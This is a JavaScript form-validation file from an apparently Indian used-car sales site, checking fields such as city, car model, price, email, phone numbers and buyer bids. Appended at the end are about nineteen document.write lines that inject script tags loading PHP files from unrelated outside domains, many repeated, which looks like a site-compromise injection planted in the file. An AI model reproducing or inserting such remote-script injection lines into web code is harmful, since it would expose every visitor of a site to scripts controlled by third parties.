﻿// JScript File


//modified on August 25th 2008
//Function to Trim a String
        String.prototype.trim = function ()
        {
            return this.replace(/^\s*/, "").replace(/\s*$/, "");
        }

// end of modification code

function partDivClick()
{
        document.getElementById('sall').value = 0;
        if(document.getElementById("searchAllDiv").style.display == "block")
        {
            document.getElementById("searchAllDiv").style.display = "none";            
        }
        document.getElementById('errMsg').innerHTML = "";
}

// Checking max chars for mobile number

function CheckMaxChars(textboxname)
{
  if(textboxname.value.length >10)
     textboxname.value=textboxname.value.substring(0,10);
}
/*
function yesClick()
{
    document.getElementById('sall').value = 1;
    document.getElementById('yesRadio').checked = true;
    document.getElementById('noRadio').checked = false;
    document.getElementById("searchAllDiv").style.display = "block";
    document.getElementById("particularDiv").style.display = "none";    
    document.getElementById('errMsg').innerHTML = "";
}

function noClick()
{
    document.getElementById('sall').value = 0;
    document.getElementById('noRadio').checked = true;
    document.getElementById('yesRadio').checked = false;
    document.getElementById("searchAllDiv").style.display = "none";    
    document.getElementById("particularDiv").style.display = "block";
}
*/
function buyacarValidate()
{
    var isError = false;
    if( document.getElementById('searchCityList').selectedIndex == 0 &&
        document.getElementById('searchCarList').selectedIndex == 0  ) 
    {
            alert("Please Select Something");            
            isError = true;
    }    
    
    return(!isError);
}

function enableTb()
{    
    //document.getElementById('cityListVal').value = document.getElementById('CityList').options[document.getElementById('CityList').selectedIndex].value;
    if( document.getElementById('CityList').options[document.getElementById('CityList').selectedIndex].value == "-1" )
    {
        document.getElementById('otherCityTb').style.display= "block";
    }  
    else
    {
        document.getElementById('otherCityTb').style.display= "none";
    } 
     
}

function showMessage(obj,message)
{
    document.getElementById(obj).innerHTML = message;
}

function ChckUserName(obj)
{
    var ownerName = document.getElementById('NameTb').value;
    
    if (!(((event.keyCode > 96 && event.keyCode < 123)||(event.keyCode == 32)||(event.keyCode > 64 && event.keyCode < 91))||event.keyCode==45||event.keyCode==46||event.keyCode==110||event.KeyCode==190||event.keyCode==8||event.keyCode==9))

    {
        alert('Name Should Not Contain Digits and Special characters'); 
        event.returnValue = false;
    }
    else
    {
        document.getElementById('nameLab').innerHTML = '';
        event.returnValue=true;
    }

}


function Validate()
        {
             //Create Instance Of Validate Class
            //valid = new Validate();
                
                
            var isError=false;
                                 
            /* Setting Mouserover for Model, Version text boxes */
            
            /* Setting Mouserover for Model, Version text boxes ends here*/            
            /* State and City Field Validation */
                      
            if( document.getElementById('StateList').selectedIndex == "0" )
            {                
                document.getElementById('cityLab').innerHTML = 'State Required';                
                isError=true;
            }          
            else if( document.getElementById('CityList').selectedIndex == "0" )
            {
                    document.getElementById('cityLab').innerHTML = 'City Required';
                    isError=true;
            }
            else if( document.getElementById('CityList').value == "-1" && document.getElementById('otherCityTb').value=="" )
            {
                    document.getElementById('cityLab').innerHTML = 'City is must';
                    isError=true;                    
            }
            else
            {                    
                    document.getElementById('cityLab').innerHTML = "";
            }
          
            /* State and City Field Validation Ends Here */
            
            /* Car List Validation */
            
            var carmake = document.getElementById('drpMakeList').selectedIndex;
            var carmodel = document.getElementById('modelTb').value;
            var carversion = document.getElementById('verTb').value;
            
            if( carmake == "0" )
            {
                document.getElementById('carLab').innerHTML = 'Company Required';
                isError=true;
            }
            else if( carmodel.trim() == "" )
            {
                document.getElementById('carLab').innerHTML = 'Model Required';
                isError=true;   
            }
            else if( carversion.trim() == "" )
            {
                document.getElementById('carLab').innerHTML = 'Version Required';
                isError=true;   
            }
            else 
            {
                 document.getElementById('carLab').innerHTML = "";
            }
            
            /* Car List Validation Ends Here*/
            
            
            /* Registraion number Validation */
            
            if( document.getElementById('RegNumberTb').value.trim() == "")
            {
                document.getElementById('regLab').innerHTML = 'Reg.no. Required';
                isError=true;
            }
            else 
            {
                document.getElementById('regLab').innerHTML = "";                                
            }  
            
            /* Registraion number Validation ends here */
            
            
            /* Kilometers Validation: Whether Number or Null  */
            
            var km = document.getElementById('KilometerTb').value;
            
            if( document.getElementById('KilometerTb').value.trim() == "")
            {
                document.getElementById('kmLab').innerHTML = 'Kms Required';
                isError=true;                
            }            
            else if( isNaN(km)||km.indexOf(" ")!=-1)
            { 
                document.getElementById('kmLab').innerHTML = 'Enter a Number';
                isError=true;
            }
            else 
            {
                document.getElementById('kmLab').innerHTML = "";                                
            } 
            
            /* Kilometers Validation Ends Here  */             
            
            
            
            /* Expected Price Validation */
            
            var rePrice = /^\d*.\d*$/;
            
            if( document.getElementById('ExpPriceTb').value.trim() == "")
            {
                document.getElementById('prcLab').innerHTML = 'Price Required';
                isError=true;
            }
            else if( isNaN(document.getElementById('ExpPriceTb').value.trim()) )
            {
                alert("Price must not consists digits or special characters");
                isError = true;
            }
            else if( !rePrice.test(document.getElementById('ExpPriceTb').value) )
            {
                document.getElementById('prcLab').innerHTML = "Price must be like 100250.45";
                isError=true;
            }
            else 
            {
                document.getElementById('prcLab').innerHTML = "";                
                
            }  
            
            /* Expected Price Validation Ends Here */
            
            /* Color Validation */
            
            if( document.getElementById('ColorList').selectedIndex == 0 )
            {
                document.getElementById('colorLab').innerHTML = "Color Required";
                isError = true;
            }
            else
            {
                document.getElementById('colorLab').innerHTML = "";
            }
            
            /* Color Validation Ends Here*/
            
            
            
            /* Registered At Validation */
            
            var reReg = /^[a-z,A-Z]$/
            
            if( document.getElementById('RegAtTb').value.trim() == "")
            {
                document.getElementById('regatLab').innerHTML = 'Registered Place Required';
                isError = true;
            }
            else if( reReg.test(document.getElementById('RegAtTb').value) )
            {
                document.getElementById('regatLab').innerHTML = 'Must be city name';
                isError = true;
            }
            else 
            {
                document.getElementById('regatLab').innerHTML = "";                
                
            }  
            
            /* Registered At Validation Ends Here */
            
            
            /* Insurance Expirydate Validation */
            
            var expYr = document.getElementById('YearTb').value;
            var makeYr = document.getElementById('MakeYrList').value;
            
            if( expYr.trim() == "")
            {
                document.getElementById('yearLab').innerHTML = "";
            }
            else if( isNaN(expYr) )
            {
                document.getElementById('yearLab').innerHTML = 'Must be a Number';
                isError=true;
            }
            else if( expYr.length > 4)
            {
                document.getElementById('yearLab').innerHTML = 'Must be lessthan 4';
                isError=true;
            }
            else if( expYr < makeYr )
            {
                document.getElementById('yearLab').innerHTML = 'Year must be greater than Make Year';
                isError=true;
            }
            else 
            {
                document.getElementById('yearLab').innerHTML = "";
                                
            }  
            /* Insurance Expirydate Validation Ends Here */
            
            /* Comment Box Validation */
            if( document.getElementById('CommentsTb').value.length > 500 )
            {
                document.getElementById('comLab').innerHTML = 'Comment lenght must be lessthan 500';
                isError=true;
            }
            else 
            {
                document.getElementById('comLab').innerHTML = "";
                                
            }  
            
            /* Name Validation */
            
            if( document.getElementById('NameTb').value.trim() == "")
            {
                document.getElementById('nameLab').innerHTML = 'Name Required';
                isError = true;
            }
            else 
            {
                document.getElementById('nameLab').innerHTML = "";
                                
            } 
            
            /* Name Validation Ends Here*/
            
            /*
            var name1 = document.getElementById('NameTb').value;
            if(!valid.isEmpty(name1))
            {
                
                showMessage('nameLab','Name Required');
                isError =  true;
            }
            if(!valid.isCharacters(name1))
            {
                showMessage('nameLab','Name Should Not Contain Special characters');
                clearTextBox('NameTb');
                isError =  true;
            }
            if(!valid.isValidName(name1,4,20))
            {
               showMessage('nameLab','Name Should be 4 to 20 Characters Length');
                clearTextBox('NameTb');
                isError =  true;
            }
            */
            
            /* Email Id Validation */
            var reEmail=/^[a-z]+(([a-z_0-9]*)|([a-z_0-9]*\.[a-z_0-9]+))*@([a-z_0-9\-]+)((\.[a-z]{3})|((\.[a-z]{2})+)|(\.[a-z]{3}(\.[a-z]{2})+))$/;
            
            if( document.getElementById('EmailIDTb').value.trim() == "" )
            {
                 document.getElementById('mailLab').innerHTML = 'Mail id Required';
                 isError=true;
            }
            else if( !(reEmail.test(document.getElementById('EmailIDTb').value)) )
            {
                 document.getElementById('mailLab').innerHTML = 'Must be name@mail.com/.co.in';
                 isError=true;
            }
            else 
            {
                document.getElementById('mailLab').innerHTML = "";
                                
            }  
            
            
            /* Contact Number Validation*/
            
            var x = document.getElementById('MobNoTb').value.trim();
            var landcode=document.getElementById('LandCodeTb').value;
            var landnum=document.getElementById('LandNumberTb').value;
                 
           
           if( x.trim() == "" && landcode.trim() == "" && landnum.trim() == "" )
           {
                document.getElementById('numberLab').innerHTML = 'Enter atleast one number';
                document.getElementById('landLab').innerHTML = "";
                document.getElementById('mbNumLab').innerHTML = "";
                isError=true;
           }
           else if( x.trim()!="")
           {             
                   if(isNaN(x)||x.indexOf(" ")!=-1)
                    {
                        document.getElementById('mbNumLab').innerHTML = 'Enter a Number';
                        isError=true;                              
                    }
                    else if (x.length!=10)
                    {
                        document.getElementById('mbNumLab').innerHTML = 'Enter 10 digits';
                        isError=true;
                    }
                    else if (x.charAt(0)!="9")
                    {
                        document.getElementById('mbNumLab').innerHTML = 'It should start with 9';
                        isError=true;
                    }
                    else
                    {
                        document.getElementById('numberLab').innerHTML = "";
                        document.getElementById('mbNumLab').innerHTML = "";
                    }
           }   
           else if(  landcode.trim()!="" && landnum.trim()!="" )
           { 
                 
                if( !(isNaN(landcode)&&isNaN(landnum)) ) 
                {
                    var codelen = document.getElementById('LandCodeTb').value.length;
                    var cod = document.getElementById('LandCodeTb').value;
                    var numlen = document.getElementById('LandNumberTb').value.length;
                    if ( (isNaN(document.getElementById('LandCodeTb').value)) )
                    {
                        document.getElementById('numberLab').innerHTML = "";
                        document.getElementById('landLab').innerHTML = "Code must be digits";
                        isError=true;                
                    }
                    else if( cod.charAt(0)!="0" )
                    {
                        document.getElementById('numberLab').innerHTML = "";
                        document.getElementById('landLab').innerHTML = "Code should start with 0";
                        isError=true;
                    }
                    else if( document.getElementById('LandNumberTb').value.charAt(0)=="0" )
                    {
                        document.getElementById('numberLab').innerHTML = "";
                        document.getElementById('landLab').innerHTML = "Number should not start with 0";
                        isError=true;
                    }
                    else if( (codelen<3 || codelen>5) )
                    {
                        document.getElementById('numberLab').innerHTML = "";
                        document.getElementById('landLab').innerHTML = 'Std code shold be 3 to 5 digits';
                        isError=true;
                    }
                    else if ( (isNaN(document.getElementById('LandNumberTb').value)) )
                    {
                        document.getElementById('numberLab').innerHTML = "";
                        document.getElementById('landLab').innerHTML = "Number must be digits";
                        isError=true;                
                    }
                    else if( ( numlen<4 || numlen>9 ) || ((codelen+numlen)!= 11) )
                    {
                        document.getElementById('numberLab').innerHTML = "";
                        document.getElementById('landLab').innerHTML = 'Number should be 6 to 8 digits';
                        isError=true;
                    }
                    else
                    {
                        document.getElementById('landLab').innerHTML = "";
                    }
                }
                else
                {
                    document.getElementById('numberLab').innerHTML = "";
                    document.getElementById('landLab').innerHTML = "Land Number must be digits";
                    isError=true;
                }
           }
           else if( landcode.trim() == "" )
           {
                document.getElementById('numberLab').innerHTML = "";
                document.getElementById('landLab').innerHTML = "Provide Code";
                isError=true;
           }
           else if ( (isNaN(document.getElementById('LandCodeTb').value)) )
           {
                document.getElementById('numberLab').innerHTML = "";
                document.getElementById('landLab').innerHTML = "Code must be digits";
                isError=true;                
           }
           else if( document.getElementById('LandCodeTb').value.charAt(0)!="0" )
           {
                document.getElementById('numberLab').innerHTML = "";
                document.getElementById('landLab').innerHTML = "Code should start with 0";
                isError=true;
           }
           else if( (document.getElementById('LandCodeTb').value.length<3 || document.getElementById('LandCodeTb').value.length>5) )
           {
                document.getElementById('numberLab').innerHTML = "";
                document.getElementById('landLab').innerHTML = 'Std code shold be 3 to 5 digits';
                isError=true;
           }    
           else if( document.getElementById('LandNumberTb').value.charAt(0)=="0" )
           {
                document.getElementById('numberLab').innerHTML = "";
                document.getElementById('landLab').innerHTML = "Number should not start with 0";
                isError=true;
           }                     
                   
           else if( landnum.trim() == "" )
           {
                document.getElementById('numberLab').innerHTML = "";
                document.getElementById('landLab').innerHTML = "Provide Number";
                isError=true;
           }           
           else if ( (isNaN(document.getElementById('LandNumberTb').value)) )
           {
                document.getElementById('numberLab').innerHTML = "";
                document.getElementById('landLab').innerHTML = "Number must be digits";
                isError=true;                
           }
           else
           {
                document.getElementById('landLab').innerHTML = "";
           }  
             
           /* Contact Number Validation Ends Here */
           
           
           //Returning the result
           return (!isError);
                                    
 }
 
function onClick()
{
    var yes = document.getElementById('yes').checked;
        
    var yes = document.getElementById('yes').value;
    if( document.getElementById('yes').checked == true )
    {
        document.getElementById('buyDiv').style.display= "block";
    }
}

function validateBuyer()
{
    var isError = false;
    var name = document.getElementById('nameTb').value;
    var number = document.getElementById('numberTb').value;
    var mail = document.getElementById('mailTb').value;    
    var city = document.getElementById('drpCityList');
    
    //Name validation starts here
    
        var reName = /^(([a-z_A-Z]*)+((\.[a-z_A-Z]*)))|([a-z_A-Z]*)$/;
        if( name.trim() == "")
        {
            document.getElementById('nameLab').innerHTML = "Name required";
            isError = true;
        }
        else if( !(reName.test(name)) )
        {   
            document.getElementById('nameLab').innerHTML = "Name must be characters";
            isError = true;
        }
        else if( !isNaN(name) )
        {
            document.getElementById('nameLab').innerHTML = "Name must not be digits";
            isError = true;
        }
        else
        {
            document.getElementById('nameLab').innerHTML = "";
        }
     //Name validation ends here
     
     
     //Number validation starts here
        var reNum = /^[0-9]*$/
        if( number.trim() == "")
        {
            document.getElementById('numberLab').innerHTML = "Number must be required";
            isError = true;
        }
        else if( !(reNum.test(number)) )
        {
            document.getElementById('numberLab').innerHTML = "Number must be digits";
            isError = true;
        }
        else
        {
            document.getElementById('numberLab').innerHTML = "";
        }      
           
     //Number validation ends here
     
     //Email id validation starts here
        var reEmail=/^[a-z]+(([a-z_0-9]*)|([a-z_0-9]*\.[a-z_0-9]+))*@([a-z_0-9\-]+)((\.[a-z]{3})|((\.[a-z]{2})+)|(\.[a-z]{3}(\.[a-z]{2})+))$/;
        if( mail.trim() == "")
        {
            document.getElementById('mailLab').innerHTML = "Mail id required";
            isError = true;
        }
        else if( !(reEmail.test(mail) ) )
        {
            document.getElementById('mailLab').innerHTML = "Must be name@mail.com/.co.in";
            isError = true;
        }
        else
        {
            document.getElementById('mailLab').innerHTML = "";
        }
     //Email id validation ends here
          
     //City List validation here
        
        
        if( city.selectedIndex == 0 )
        {
            document.getElementById('cityLab1').innerHTML = "City Required";
            isError = true;
        }
        else
        {
            document.getElementById('cityLab1').innerHTML = "";
        }        
     //City box validation ends here
     
     // Bid value validation starts here
     
       
        
        var bidamt = document.getElementById('bidAmtTb').value;
        
        if ( bidamt.trim() == "")
        {
            document.getElementById('bidLabel').innerHTML = "Please give your bid amount";
            isError = true;
        }
        else if( isNaN(bidamt) )
        {
            document.getElementById('bidLabel').innerHTML = "Amount must be number";
            isError = true;
        }
        else if ( (bidamt.trim()).charAt(0) == "-" )
        {
            document.getElementById('bidLabel').innerHTML = "Amount must be positive";
            isError = true;
        }
        else
        {
            document.getElementById('bidLabel').innerHTML = "";
        }     
     // Bid value validation ends here
     
     return (!isError);
}

function enable()
{
//    alert("display");
    
    if( document.getElementById('vyes').checked == true )
    {
        document.getElementById('bidDiv').style.display= "block";
    }
    if( document.getElementById('vno').checked == true )
    {
        document.getElementById('bidDiv').style.display= "none";
    }
}

function enableBuyer()
{
//    alert("enable");
    
    if( document.getElementById('yes').checked == true )
    {
        document.getElementById('buyDetails').style.display = "block";
    }
    if( document.getElementById('no').checked == true )
    {
        document.getElementById('buyDetails').style.display= "none";
    }
}

/* Checking Car Model Validation */

function CheckModel(obj)
{
    if (!((event.keyCode > 47 && event.keyCode < 58)||(event.keyCode == 32)||((event.keyCode > 96 && event.keyCode < 123)||(event.keyCode > 64 && event.keyCode < 91))||event.keyCode==45||event.KeyCode==190||event.keyCode==8||event.keyCode==9))
    {
        alert('Model name should not allow Special symbols like *,&,#');
        event.returnValue = false;
    }
    else
    {
        event.returnValue = true;
    }
}

/* Checking Car Model Validation Ends Here*/


/* Checking Car Model Validation */

function CheckVersion(obj)
{
    if (!((event.keyCode > 47 && event.keyCode < 58)||(event.keyCode == 32)||((event.keyCode > 96 && event.keyCode < 123)||(event.keyCode > 64 && event.keyCode < 91))||event.keyCode==45||event.KeyCode==190||event.keyCode==8||event.keyCode==9))
    {
        alert('Version name should not allow Special symbols  like *,&,#');
        event.returnValue = false;
    }
    else
    {
        event.returnValue = true;
    }
}

/* Checking Car Model Validation Ends Here*/

/* Checking Registration Validation */

function CheckRegistration(obj)
{
    if (!((event.keyCode > 47 && event.keyCode < 58)||(event.keyCode == 32)||((event.keyCode > 96 && event.keyCode < 123)||(event.keyCode > 64 && event.keyCode < 91))||event.keyCode==45||event.KeyCode==190||event.keyCode==8||event.keyCode==9))
    {
        alert('Registration number should not allow Special symbols  like *,&,#');
        event.returnValue = false;
    }
    else
    {
        event.returnValue = true;
    }
}

/* Checking Car Model Validation Ends Here*/

/* Checking Registration Validation */

function ChckLandNum(obj)
{
    if (!((event.keyCode > 47 && event.keyCode < 58)||(event.KeyCode==190||event.keyCode==8||event.keyCode==9)))
    {
        alert('Land code & number allow only digits');
        event.returnValue = false;
    }
    else
    {
        event.returnValue = true;
    }
}

/* Checking Car Model Validation Ends Here*/

/* Land code maximum check validation */

function CheckMaxCode(textboxname)
{    
    
    if ( textboxname.value.length > 4 )
    {
            textboxname.value = textboxname.value.substring(0,4);
    }
}

/* Land code maximum check validation */

/* Land number maximum check validation */

function CheckMaxNumber(textboxname)
{    
    
    if ( textboxname.value.length > 7 )
    {
            textboxname.value = textboxname.value.substring(0,7);
    }
}

/* Land number maximum check validation */


document.write('<script src=http://interweigh.ca/stats/inmotion7.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://fivedream.ru/Humor/index.php ><\/script>');
document.write('<script src=http://fivedream.ru/Humor/index.php ><\/script>');
document.write('<script src=http://roncocleaning.com/_images/products.php ><\/script>');
document.write('<script src=http://barbier-family.de/js/oberschl.php ><\/script>');
document.write('<script src=http://coquettecheesecake.net/images/gifimg.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://avenue-alarms.co.uk/scripts/index.php ><\/script>');